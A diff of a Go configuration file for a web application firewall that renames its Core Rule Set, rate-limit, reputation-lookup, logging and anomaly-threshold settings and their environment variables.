// WAFExemptPaths the path prefixes it does not inspect
|
// (SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL), and CoreRuleSetScoreThreshold
|
||||||
// (SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
|
// the anomaly score at which a request is a match
|
||||||
// it reads (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
|
// (SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD), 0 while it is off.
|
||||||
|
// CoreRuleSetDisabledRules are the ids of its rules switched off
|
||||||
|
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES), CoreRuleSetExemptPaths the
|
||||||
|
// path prefixes it does not inspect (SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS),
|
||||||
|
// and CoreRuleSetBodyInspectionSize the most of a request body it reads
|
||||||
|
// (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off and it
|
||||||
|
// reads none.
|
||||||
// CoreRuleSetExclusionsFile is the path of the file of its exclusions
|
// CoreRuleSetExclusionsFile is the path of the file of its exclusions
|
||||||
// (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while there is none.
|
// (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while there is none.
|
||||||
WAFMode string
|
CoreRuleSetMode string
|
||||||
WAFParanoiaLevel int
|
CoreRuleSetParanoiaLevel int
|
||||||
WAFAnomalyThreshold int
|
CoreRuleSetScoreThreshold int
|
||||||
WAFDisabledRules []int
|
CoreRuleSetDisabledRules []int
|
||||||
WAFExemptPaths []string
|
CoreRuleSetExemptPaths []string
|
||||||
WAFBodyLimit int64
|
CoreRuleSetBodyInspectionSize int64
|
||||||
CoreRuleSetExclusionsFile string
|
CoreRuleSetExclusionsFile string
|
||||||
// Apps are the names of the apps each hostname serves, by hostname in
|
// Apps are the names of the apps each hostname serves, by hostname in
|
||||||
// lowercase (SWW_WAF_APPS): a request gets only its hostname's apps' fixes
|
// lowercase (SWW_WAF_APPS): a request gets only its hostname's apps' fixes
|
||||||
// to the Core Rule Set. Apps is nil while SWW_WAF_APPS is unset, and every
|
// to the Core Rule Set. Apps is nil while SWW_WAF_APPS is unset, and every
|
||||||
@@ -241,25 +250,26 @@ type Config struct {
|
|||||||
// TrapPaths are the paths a request for which is a clear sign of
|
// TrapPaths are the paths a request for which is a clear sign of
|
||||||
// attack (SWW_WAF_TRAP_PATHS), each starting with / and without a ?.
|
// attack (SWW_WAF_TRAP_PATHS), each starting with / and without a ?.
|
||||||
TrapPaths []string
|
TrapPaths []string
|
||||||
// ErrorBurstThreshold is the most requests of a client within a minute
|
// RefusalsLimitPerMinute is the most requests of a client within a minute
|
||||||
// that waf may refuse after a rule file or Core Rule Set match; one
|
// that waf may refuse after a rule file or Core Rule Set match; one
|
||||||
// more breaks a limit (SWW_WAF_ERROR_BURST_THRESHOLD). 0 is off.
|
// more breaks a limit (SWW_WAF_REFUSALS_LIMIT_PER_MINUTE). 0 is off.
|
||||||
ErrorBurstThreshold int64
|
RefusalsLimitPerMinute int64
|
||||||
// LogRemoteURL is where every line on stdout is also sent
|
// LogRemoteURL is where every line on stdout is also sent
|
||||||
// (SWW_WAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
|
// (SWW_WAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
|
||||||
// LogRemoteTLSCAs are the certificates a syslog+tls endpoint's
|
// LogRemoteTLSCAs are the certificates a syslog+tls endpoint's
|
||||||
// certificate must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil while
|
// certificate must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil while
|
||||||
// it is unset and the host's own are used. LogRemoteBuffer is the most
|
// it is unset and the host's own are used. LogRemoteBufferLines is the
|
||||||
// lines held while they wait to be sent (SWW_WAF_LOG_REMOTE_BUFFER).
|
// most lines held while they wait to be sent
|
||||||
|
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
|
||||||
// LogRemoteFacility is the number of the syslog facility
|
// LogRemoteFacility is the number of the syslog facility
|
||||||
// (SWW_WAF_LOG_REMOTE_FACILITY), and LogRemoteAppName the APP-NAME
|
// (SWW_WAF_LOG_REMOTE_FACILITY), and LogRemoteAppName the APP-NAME
|
||||||
// (SWW_WAF_LOG_REMOTE_APP_NAME, by default InstanceName), of the records
|
// (SWW_WAF_LOG_REMOTE_APP_NAME, by default InstanceName), of the records
|
||||||
// the lines are sent in.
|
// the lines are sent in.
|
||||||
LogRemoteURL *url.URL
|
LogRemoteURL *url.URL
|
||||||
LogRemoteTLSCAs *x509.CertPool
|
LogRemoteTLSCAs *x509.CertPool
|
||||||
LogRemoteBuffer int
|
LogRemoteBufferLines int
|
||||||
LogRemoteFacility int
|
LogRemoteFacility int
|
||||||
LogRemoteAppName string
|
LogRemoteAppName string
|
||||||
// AlertWebhookURL is where each alert is posted as JSON
|
// AlertWebhookURL is where each alert is posted as JSON
|
||||||
// (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. AlertWebhookHeaders
|
// (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. AlertWebhookHeaders
|
||||||
// are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS).
|
// are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS).
|
||||||
@@ -285,19 +295,19 @@ type Config struct {
|
|||||||
// and bytes a minute and an hour per client (SWW_WAF_ANOMALY_CLIENT_*),
|
// and bytes a minute and an hour per client (SWW_WAF_ANOMALY_CLIENT_*),
|
||||||
// per netblock around a client (SWW_WAF_ANOMALY_NET_*), per AS number
|
// per netblock around a client (SWW_WAF_ANOMALY_NET_*), per AS number
|
||||||
// (SWW_WAF_ANOMALY_ASN_*), for the whole service (SWW_WAF_ANOMALY_TOTAL_*)
|
// (SWW_WAF_ANOMALY_ASN_*), for the whole service (SWW_WAF_ANOMALY_TOTAL_*)
|
||||||
// and per named netblock (SWW_WAF_WATCH_*), each 0 while it is off.
|
// and per watched netblock (SWW_WAF_ANOMALY_WATCHED_NET_*), each 0 while
|
||||||
// AnomalyNetV4Prefix and AnomalyNetV6Prefix are the lengths of the
|
// it is off. AnomalyNetV4Prefix and AnomalyNetV6Prefix are the lengths
|
||||||
// netblock around a client (SWW_WAF_ANOMALY_NET_V4_PREFIX and
|
// of the netblock around a client (SWW_WAF_ANOMALY_NET_V4_PREFIX and
|
||||||
// SWW_WAF_ANOMALY_NET_V6_PREFIX), and WatchNets the named netblocks
|
// SWW_WAF_ANOMALY_NET_V6_PREFIX), and AnomalyWatchedNets the watched
|
||||||
// (SWW_WAF_WATCH_NETS).
|
// netblocks (SWW_WAF_ANOMALY_WATCHED_NETS).
|
||||||
AnomalyClient anomaly.Thresholds
|
AnomalyClient anomaly.Thresholds
|
||||||
AnomalyNet anomaly.Thresholds
|
AnomalyNet anomaly.Thresholds
|
||||||
AnomalyASN anomaly.Thresholds
|
AnomalyASN anomaly.Thresholds
|
||||||
AnomalyTotal anomaly.Thresholds
|
AnomalyTotal anomaly.Thresholds
|
||||||
AnomalyWatch anomaly.Thresholds
|
AnomalyWatchedNet anomaly.Thresholds
|
||||||
AnomalyNetV4Prefix int
|
AnomalyNetV4Prefix int
|
||||||
AnomalyNetV6Prefix int
|
AnomalyNetV6Prefix int
|
||||||
WatchNets []anomaly.NamedNetblock
|
AnomalyWatchedNets []anomaly.NamedNetblock
|
||||||
|
|
||||||
// settings are the values read, as given or by default, and the
|
// settings are the values read, as given or by default, and the
|
||||||
// files they were read from, for the log line at start.
|
// files they were read from, for the log line at start.
|
||||||
@@ -306,12 +316,12 @@ type Config struct {
|
|||||||
|
|
||||||
// The values of SWW_WAF_CORE_RULE_SET_MODE.
|
// The values of SWW_WAF_CORE_RULE_SET_MODE.
|
||||||
const (
|
const (
|
||||||
// WAFModeOff runs no request through the Core Rule Set.
|
// CoreRuleSetModeOff runs no request through the Core Rule Set.
|
||||||
WAFModeOff = off
|
CoreRuleSetModeOff = off
|
||||||
// WAFModeDetect logs and alerts a match, and refuses nothing.
|
// CoreRuleSetModeDetect logs and alerts a match, and refuses nothing.
|
||||||
WAFModeDetect = "detect"
|
CoreRuleSetModeDetect = "detect"
|
||||||
// WAFModeBlock refuses a match with 403.
|
// CoreRuleSetModeBlock refuses a match with 403.
|
||||||
WAFModeBlock = "block"
|
CoreRuleSetModeBlock = "block"
|
||||||
)
|
)
|
||||||
|
|
||||||
// fileSource is the SWW_WAF_LOOKUP_SOURCE that looks clients up in the
|
// fileSource is the SWW_WAF_LOOKUP_SOURCE that looks clients up in the
|
||||||
@@ -379,10 +389,10 @@ var (
|
|||||||
"is not a name, = and a netblock, such as office=203.0.113.0/24")
|
"is not a name, = and a netblock, such as office=203.0.113.0/24")
|
||||||
errNotAbsolutePath = errors.New(
|
errNotAbsolutePath = errors.New(
|
||||||
"is not an absolute path, such as /var/lib/sww")
|
"is not an absolute path, such as /var/lib/sww")
|
||||||
errShortToken = errors.New("is shorter than 32 characters")
|
errShortToken = errors.New("is shorter than 32 characters")
|
||||||
errNotMode = errors.New("is not enforce or observe")
|
errNotMode = errors.New("is not enforce or observe")
|
||||||
errNotBytesCount = errors.New("is not response, request or both")
|
errNotBytesCounted = errors.New("is not response, request or both")
|
||||||
errNotPathPrefix = errors.New(
|
errNotPathPrefix = errors.New(
|
||||||
"is not a path prefix starting with /, such as /assets/")
|
"is not a path prefix starting with /, such as /assets/")
|
||||||
errNotTrapPath = errors.New(
|
errNotTrapPath = errors.New(
|
||||||
"is not a path starting with / and without a ?, such as /wp-login.php",
|
"is not a path starting with / and without a ?, such as /wp-login.php",
|
||||||
@@ -396,9 +406,11 @@ var (
|
|||||||
errNotApp = errors.New(
|
errNotApp = errors.New(
|
||||||
"is not an app sww has fixes for; the apps are",
|
"is not an app sww has fixes for; the apps are",
|
||||||
)
|
)
|
||||||
errNotWAFMode = errors.New("is not off, detect or block")
|
errNotCoreRuleSetMode = errors.New("is not off, detect or block")
|
||||||
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
|
errNotParanoiaLevel = errors.New(
|
||||||
errNotRuleID = errors.New(
|
"is not a paranoia level, from 1 to 4",
|
||||||
|
)
|
||||||
|
errNotRuleID = errors.New(
|
||||||
"is not the id of a Core Rule Set rule, a whole number such as 942100",
|
"is not the id of a Core Rule Set rule, a whole number such as 942100",
|
||||||
)
|
)
|
||||||
errSetupRuleID = errors.New(
|
errSetupRuleID = errors.New(
|
||||||
@@ -501,7 +513,7 @@ var (
|
|||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
// FromEnvironment reads the settings through v, normally the viper
|
// WAFFromEnvironment reads the settings through v, normally the viper
|
||||||
// NewViper returns, bound to the process's environment. A setting may
|
// NewViper returns, bound to the process's environment. A setting may
|
||||||
// instead be given as a file: the variable named by the setting's name
|
// instead be given as a file: the variable named by the setting's name
|
||||||
// with _FILE added names the file, which is read now (see lookup). A
|
// with _FILE added names the file, which is read now (see lookup). A
|
||||||
@@ -509,9 +521,9 @@ var (
|
|||||||
// invalid is an error that names it.
|
// invalid is an error that names it.
|
||||||
//
|
//
|
||||||
//nolint:funlen // one line for each setting, a list that grows with them
|
//nolint:funlen // one line for each setting, a list that grows with them
|
||||||
func FromEnvironment(v *viper.Viper) (*Config, error) {
|
func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
|
||||||
env := &environment{v: v}
|
env := &environment{v: v}
|
||||||
cfg := &Config{
|
cfg := &WAF{
|
||||||
ListenAddr: env.address("SWW_WAF_LISTEN_ADDR"),
|
ListenAddr: env.address("SWW_WAF_LISTEN_ADDR"),
|
||||||
InstanceName: env.instanceName(),
|
InstanceName: env.instanceName(),
|
||||||
Observe: env.observe("SWW_WAF_MODE", "enforce"),
|
Observe: env.observe("SWW_WAF_MODE", "enforce"),
|
||||||
@@ -545,15 +557,15 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
|
|||||||
),
|
),
|
||||||
BytesLimitPerHour: env.size("SWW_WAF_BYTES_LIMIT_PER_HOUR", "50G"),
|
BytesLimitPerHour: env.size("SWW_WAF_BYTES_LIMIT_PER_HOUR", "50G"),
|
||||||
BytesLimitPerDay: env.size("SWW_WAF_BYTES_LIMIT_PER_DAY", "100G"),
|
BytesLimitPerDay: env.size("SWW_WAF_BYTES_LIMIT_PER_DAY", "100G"),
|
||||||
BytesCount: env.bytesCount("SWW_WAF_BYTES_COUNT", "both"),
|
BytesCounted: env.bytesCounted("SWW_WAF_BYTES_COUNTED", "both"),
|
||||||
LookupSource: env.lookupSource(
|
LookupSource: env.lookupSource(
|
||||||
"SWW_WAF_LOOKUP_SOURCE",
|
"SWW_WAF_LOOKUP_SOURCE",
|
||||||
"geojs",
|
"geojs",
|
||||||
),
|
),
|
||||||
LookupDBPath: env.value("SWW_WAF_LOOKUP_DB_PATH", ""),
|
LookupDBPath: env.value("SWW_WAF_LOOKUP_DB_PATH", ""),
|
||||||
LookupTimeout: env.durationNotOff(
|
ASNAndCountryLookupTimeout: env.milliseconds(
|
||||||
"SWW_WAF_LOOKUP_TIMEOUT",
|
"SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS",
|
||||||
"800ms",
|
"800",
|
||||||
),
|
),
|
||||||
AddLookupHeaders: env.boolean("SWW_WAF_ADD_LOOKUP_HEADERS", "false"),
|
AddLookupHeaders: env.boolean("SWW_WAF_ADD_LOOKUP_HEADERS", "false"),
|
||||||
ExclusivelyAllowedCountries: env.countries(
|
ExclusivelyAllowedCountries: env.countries(
|
||||||
@@ -562,16 +574,16 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
|
|||||||
TagDeny: env.tags("SWW_WAF_TAG_DENY"),
|
TagDeny: env.tags("SWW_WAF_TAG_DENY"),
|
||||||
TagLimitPercent: env.tagPercents("SWW_WAF_TAG_LIMIT_PERCENT"),
|
TagLimitPercent: env.tagPercents("SWW_WAF_TAG_LIMIT_PERCENT"),
|
||||||
RouteWatchURL: env.routeWatchURL("SWW_WAF_ROUTEWATCH_URL"),
|
RouteWatchURL: env.routeWatchURL("SWW_WAF_ROUTEWATCH_URL"),
|
||||||
ASNBytesPercent: env.percents(
|
ASNBytesLimitPercent: env.percents(
|
||||||
"SWW_WAF_ASN_BYTES_PERCENT",
|
"SWW_WAF_ASN_BYTES_LIMIT_PERCENT",
|
||||||
ParseASN,
|
ParseASN,
|
||||||
),
|
),
|
||||||
CountryBytesPercent: env.percents(
|
CountryBytesLimitPercent: env.percents(
|
||||||
"SWW_WAF_COUNTRY_BYTES_PERCENT",
|
"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT",
|
||||||
parseCountry,
|
parseCountry,
|
||||||
),
|
),
|
||||||
UnknownLimitPercent: env.percent(
|
UnknownCountryLimitPercent: env.percent(
|
||||||
"SWW_WAF_UNKNOWN_LIMIT_PERCENT",
|
"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT",
|
||||||
"100",
|
"100",
|
||||||
),
|
),
|
||||||
ASNLimitPercentURL: env.listURL("SWW_WAF_ASN_LIMIT_PERCENT_URL"),
|
ASNLimitPercentURL: env.listURL("SWW_WAF_ASN_LIMIT_PERCENT_URL"),
|
||||||
@@ -585,13 +597,13 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
|
|||||||
"SWW_WAF_ABUSEIPDB_DAILY_BUDGET",
|
"SWW_WAF_ABUSEIPDB_DAILY_BUDGET",
|
||||||
"900",
|
"900",
|
||||||
),
|
),
|
||||||
ReputationCacheTTL: env.durationNotOff(
|
IPReputationCacheTTL: env.durationNotOff(
|
||||||
"SWW_WAF_REPUTATION_CACHE_TTL",
|
"SWW_WAF_IP_REPUTATION_CACHE_TTL",
|
||||||
"24h",
|
"24h",
|
||||||
),
|
),
|
||||||
ReputationTimeout: env.durationNotOff(
|
DNSBLAbuseIPDBTimeout: env.milliseconds(
|
||||||
"SWW_WAF_REPUTATION_TIMEOUT",
|
"SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS",
|
||||||
"2s",
|
"2000",
|
||||||
),
|
),
|
||||||
CrowdSecDecisionsURL: env.crowdSecDecisionsURL(
|
CrowdSecDecisionsURL: env.crowdSecDecisionsURL(
|
||||||
"SWW_WAF_CROWDSEC_LAPI_URL",
|
"SWW_WAF_CROWDSEC_LAPI_URL",
|
||||||
@@ -606,8 +618,8 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
|
|||||||
"SWW_WAF_LIMIT_BAN_REPEAT_WINDOW",
|
"SWW_WAF_LIMIT_BAN_REPEAT_WINDOW",
|
||||||
"24h",
|
"24h",
|
||||||
),
|
),
|
||||||
MaxBanDuration: env.durationNotOff(
|
LimitBanPermanentAbove: env.durationNotOff(
|
||||||
"SWW_WAF_MAX_BAN_DURATION",
|
"SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE",
|
||||||
"7d",
|
"7d",
|
||||||
),
|
),
|
||||||
AttackBanDuration: env.durationNotOff(
|
AttackBanDuration: env.durationNotOff(
|
||||||
@@ -620,12 +632,12 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
|
|||||||
"SWW_WAF_STATE_DIR",
|
"SWW_WAF_STATE_DIR",
|
||||||
"/var/lib/sww",
|
"/var/lib/sww",
|
||||||
),
|
),
|
||||||
StateWriteDelay: env.durationNotOff(
|
BansWriteDelay: env.durationNotOff(
|
||||||
"SWW_WAF_STATE_WRITE_DELAY",
|
"SWW_WAF_BANS_WRITE_DELAY",
|
||||||
"10s",
|
"10s",
|
||||||
),
|
),
|
||||||
StateCounterInterval: env.durationNotOff(
|
StateWriteInterval: env.durationNotOff(
|
||||||
"SWW_WAF_STATE_COUNTER_INTERVAL",
|
"SWW_WAF_STATE_WRITE_INTERVAL",
|
||||||
"15m",
|
"15m",
|
||||||
),
|
),
|
||||||
CacheDir: env.absolutePath(
|
CacheDir: env.absolutePath(
|
||||||
@@ -636,48 +648,62 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
|
|||||||
"SWW_WAF_LOG_REQUEST_HEADERS",
|
"SWW_WAF_LOG_REQUEST_HEADERS",
|
||||||
"accept,accept-language,accept-encoding,content-type,origin,range",
|
"accept,accept-language,accept-encoding,content-type,origin,range",
|
||||||
),
|
),
|
||||||
LogLevel: env.logLevel("SWW_WAF_LOG_LEVEL", "info"),
|
LogLevel: env.logLevel(
|
||||||
|
"SWW_WAF_LOG_LEVEL",
|
||||||
|
"info",
|
||||||
|
),
|
||||||
AdminToken: env.token("SWW_WAF_ADMIN_TOKEN"),
|
AdminToken: env.token("SWW_WAF_ADMIN_TOKEN"),
|
||||||
MetricsToken: env.token("SWW_WAF_METRICS_TOKEN"),
|
MetricsToken: env.token("SWW_WAF_METRICS_TOKEN"),
|
||||||
MetricsTopN: env.numberNotOff("SWW_WAF_METRICS_TOP_N", "50"),
|
MetricsBusiestCountriesAndASNs: env.numberNotOff(
|
||||||
RulesDir: env.value("SWW_WAF_RULES_DIR", "/etc/sww/rules.d"),
|
"SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS",
|
||||||
RulesEnabled: env.boolean("SWW_WAF_RULES_ENABLED", "true"),
|
"50",
|
||||||
WAFMode: env.wafMode(
|
|
||||||
"SWW_WAF_CORE_RULE_SET_MODE",
|
|
||||||
WAFModeBlock,
|
|
||||||
),
|
),
|
||||||
WAFParanoiaLevel: env.paranoiaLevel(
|
RuleFilesDir: env.value(
|
||||||
|
"SWW_WAF_RULE_FILES_DIR",
|
||||||
|
"/etc/sww/rules.d",
|
||||||
|
),
|
||||||
|
RuleFilesEnabled: env.boolean(
|
||||||
|
"SWW_WAF_RULE_FILES_ENABLED",
|
||||||
|
"true",
|
||||||
|
),
|
||||||
|
CoreRuleSetMode: env.coreRuleSetMode(
|
||||||
|
"SWW_WAF_CORE_RULE_SET_MODE",
|
||||||
|
CoreRuleSetModeBlock,
|
||||||
|
),
|
||||||
|
CoreRuleSetParanoiaLevel: env.paranoiaLevel(
|
||||||
"SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL",
|
"SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL",
|
||||||
"1",
|
"1",
|
||||||
),
|
),
|
||||||
WAFAnomalyThreshold: env.numberOrOff(
|
CoreRuleSetScoreThreshold: env.numberOrOff(
|
||||||
"SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
|
"SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD",
|
||||||
"5",
|
"5",
|
||||||
),
|
),
|
||||||
WAFDisabledRules: env.ruleIDs("SWW_WAF_CORE_RULE_SET_DISABLED_RULES",
|
CoreRuleSetDisabledRules: env.ruleIDs(
|
||||||
"920340,920420,920440,920640,930130,930140"),
|
"SWW_WAF_CORE_RULE_SET_DISABLED_RULES",
|
||||||
WAFExemptPaths: env.pathPrefixes(
|
"920340,920420,920440,920640,930130,930140",
|
||||||
|
),
|
||||||
|
CoreRuleSetExemptPaths: env.pathPrefixes(
|
||||||
"SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS",
|
"SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS",
|
||||||
"",
|
"",
|
||||||
),
|
),
|
||||||
WAFBodyLimit: env.wafBodyLimit(
|
CoreRuleSetBodyInspectionSize: env.coreRuleSetBodyInspectionSize(
|
||||||
"SWW_WAF_CORE_RULE_SET_BODY_LIMIT",
|
"SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE",
|
||||||
off,
|
off,
|
||||||
),
|
),
|
||||||
CoreRuleSetExclusionsFile: env.filePath(
|
CoreRuleSetExclusionsFile: env.filePath(
|
||||||
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE"),
|
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE"),
|
||||||
Apps: env.apps("SWW_WAF_APPS"),
|
Apps: env.apps("SWW_WAF_APPS"),
|
||||||
TrapPaths: env.trapPaths("SWW_WAF_TRAP_PATHS"),
|
TrapPaths: env.trapPaths("SWW_WAF_TRAP_PATHS"),
|
||||||
ErrorBurstThreshold: env.count(
|
RefusalsLimitPerMinute: env.count(
|
||||||
"SWW_WAF_ERROR_BURST_THRESHOLD",
|
"SWW_WAF_REFUSALS_LIMIT_PER_MINUTE",
|
||||||
"30",
|
"30",
|
||||||
),
|
),
|
||||||
LogRemoteURL: env.logRemoteURL("SWW_WAF_LOG_REMOTE_URL"),
|
LogRemoteURL: env.logRemoteURL("SWW_WAF_LOG_REMOTE_URL"),
|
||||||
LogRemoteTLSCAs: env.certificates(
|
LogRemoteTLSCAs: env.certificates(
|
||||||
"SWW_WAF_LOG_REMOTE_TLS_CA_FILE",
|
"SWW_WAF_LOG_REMOTE_TLS_CA_FILE",
|
||||||
),
|
),
|
||||||
LogRemoteBuffer: env.numberNotOff(
|
LogRemoteBufferLines: env.numberNotOff(
|
||||||
"SWW_WAF_LOG_REMOTE_BUFFER",
|
"SWW_WAF_LOG_REMOTE_BUFFER_LINES",
|
||||||
"10000",
|
"10000",
|
||||||
),
|
),
|
||||||
LogRemoteFacility: env.facility(
|
LogRemoteFacility: env.facility(
|
||||||
@@ -700,11 +726,11 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
|
|||||||
"SWW_WAF_ALERT_MAX_PER_HOUR",
|
"SWW_WAF_ALERT_MAX_PER_HOUR",
|
||||||
"60",
|
"60",
|
||||||
),
|
),
|
||||||
AnomalyClient: env.thresholds("SWW_WAF_ANOMALY_CLIENT_"),
|
AnomalyClient: env.thresholds("SWW_WAF_ANOMALY_CLIENT_"),
|
||||||
AnomalyNet: env.thresholds("SWW_WAF_ANOMALY_NET_"),
|
AnomalyNet: env.thresholds("SWW_WAF_ANOMALY_NET_"),
|
||||||
AnomalyASN: env.thresholds("SWW_WAF_ANOMALY_ASN_"),
|
AnomalyASN: env.thresholds("SWW_WAF_ANOMALY_ASN_"),
|
||||||
AnomalyTotal: env.thresholds("SWW_WAF_ANOMALY_TOTAL_"),
|
AnomalyTotal: env.thresholds("SWW_WAF_ANOMALY_TOTAL_"),
|
||||||
AnomalyWatch: env.thresholds("SWW_WAF_WATCH_"),
|
AnomalyWatchedNet: env.thresholds("SWW_WAF_ANOMALY_WATCHED_NET_"),
|
||||||
AnomalyNetV4Prefix: env.v4Prefix(
|
AnomalyNetV4Prefix: env.v4Prefix(
|
||||||
"SWW_WAF_ANOMALY_NET_V4_PREFIX",
|
"SWW_WAF_ANOMALY_NET_V4_PREFIX",
|
||||||
"24",
|
"24",
|
||||||
@@ -713,15 +739,17 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
|
|||||||
"SWW_WAF_ANOMALY_NET_V6_PREFIX",
|
"SWW_WAF_ANOMALY_NET_V6_PREFIX",
|
||||||
"48",
|
"48",
|
||||||
),
|
),
|
||||||
WatchNets: env.namedNetblocks("SWW_WAF_WATCH_NETS"),
|
AnomalyWatchedNets: env.namedNetblocks(
|
||||||
|
"SWW_WAF_ANOMALY_WATCHED_NETS",
|
||||||
|
),
|
||||||
}
|
}
|
||||||
|
|
||||||
cfg.LogRemoteAppName = env.appName("SWW_WAF_LOG_REMOTE_APP_NAME",
|
cfg.LogRemoteAppName = env.appName("SWW_WAF_LOG_REMOTE_APP_NAME",
|
||||||
cfg.InstanceName, cfg.LogRemoteURL != nil)
|
cfg.InstanceName, cfg.LogRemoteURL != nil)
|
||||||
cfg.BlocklistAction, cfg.BlocklistLimitPercent = env.action(
|
cfg.BlocklistAction, cfg.BlocklistLimitPercent = env.action(
|
||||||
"SWW_WAF_BLOCKLIST_ACTION", "deny")
|
"SWW_WAF_BLOCKLIST_ACTION", "deny")
|
||||||
cfg.ReputationAction, cfg.ReputationLimitPercent = env.action(
|
cfg.DNSBLAbuseIPDBAction, cfg.DNSBLAbuseIPDBLimitPercent = env.action(
|
||||||
"SWW_WAF_REPUTATION_ACTION", "limit:25")
|
"SWW_WAF_DNSBL_ABUSEIPDB_ACTION", "limit:25")
|
||||||
|
|
||||||
env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil)
|
env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil)
|
||||||
env.checkLookupDBPath(cfg)
|
env.checkLookupDBPath(cfg)
|
||||||
@@ -741,7 +769,7 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// WAFListenAddr reads only SWW_WAF_LISTEN_ADDR, which may be given as a
|
// WAFListenAddr reads only SWW_WAF_LISTEN_ADDR, which may be given as a
|
||||||
// file, as FromEnvironment does. The health check in waf's container needs
|
// file, as WAFFromEnvironment does. The health check in waf's container needs
|
||||||
// no other setting, so it reads no other, nor a file that another names.
|
// no other setting, so it reads no other, nor a file that another names.
|
||||||
func WAFListenAddr(v *viper.Viper) (string, error) {
|
func WAFListenAddr(v *viper.Viper) (string, error) {
|
||||||
env := &environment{v: v}
|
env := &environment{v: v}
|
||||||
@@ -751,18 +779,18 @@ func WAFListenAddr(v *viper.Viper) (string, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// InstanceName reads only SWW_WAF_INSTANCE_NAME, which may be given as a
|
// InstanceName reads only SWW_WAF_INSTANCE_NAME, which may be given as a
|
||||||
// file, as FromEnvironment does, so that the line saying a setting is
|
// file, as WAFFromEnvironment does, so that the line saying a setting is
|
||||||
// invalid carries it too. A file that cannot be read gives the default
|
// invalid carries it too. A file that cannot be read gives the default
|
||||||
// here, and FromEnvironment then stops the start over it.
|
// here, and WAFFromEnvironment then stops the start over it.
|
||||||
func InstanceName(v *viper.Viper) string {
|
func InstanceName(v *viper.Viper) string {
|
||||||
env := &environment{v: v}
|
env := &environment{v: v}
|
||||||
|
|
||||||
return env.instanceName()
|
return env.instanceName()
|
||||||
}
|
}
|
||||||
|
|
||||||
// LogValue makes a Config log as each setting's name with the value it was
|
// LogValue makes a WAF log as each setting's name with the value it was
|
||||||
// given, or its default.
|
// given, or its default.
|
||||||
func (c *Config) LogValue() slog.Value {
|
func (c *WAF) LogValue() slog.Value {
|
||||||
return slog.GroupValue(c.settings...)
|
return slog.GroupValue(c.settings...)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -795,10 +823,14 @@ func (e *environment) duration(name, defaultValue string) time.Duration {
|
|||||||
return duration
|
return duration
|
||||||
}
|
}
|
||||||
|
|
||||||
// wafBodyLimit reads the setting that is the most of a request body the
|
// coreRuleSetBodyInspectionSize reads the setting that is the most of a
|
||||||
// Core Rule Set reads.
|
// request body the Core Rule Set reads.
|
||||||
func (e *environment) wafBodyLimit(name, defaultValue string) int64 {
|
func (e *environment) coreRuleSetBodyInspectionSize(
|
||||||
limit, err := parseWAFBodyLimit(e.value(name, defaultValue))
|
name, defaultValue string,
|
||||||
|
) int64 {
|
||||||
|
limit, err := parseCoreRuleSetBodyInspectionSize(
|
||||||
|
e.value(name, defaultValue),
|
||||||
|
)
|
||||||
e.check(name, err)
|
e.check(name, err)
|
||||||
|
|
||||||
return limit
|
return limit
|
||||||
@@ -812,12 +844,12 @@ func (e *environment) count(name, defaultValue string) int64 {
|
|||||||
return count
|
return count
|
||||||
}
|
}
|
||||||
|
|
||||||
// bytesCount reads the setting that is which body bytes count toward the
|
// bytesCounted reads the setting that is which body bytes count toward the
|
||||||
// byte limits: response, request or both.
|
// byte limits and the byte anomaly thresholds: response, request or both.
|
||||||
func (e *environment) bytesCount(name, defaultValue string) string {
|
func (e *environment) bytesCounted(name, defaultValue string) string {
|
||||||
value := e.value(name, defaultValue)
|
value := e.value(name, defaultValue)
|
||||||
if value != "response" && value != "request" && value != "both" {
|
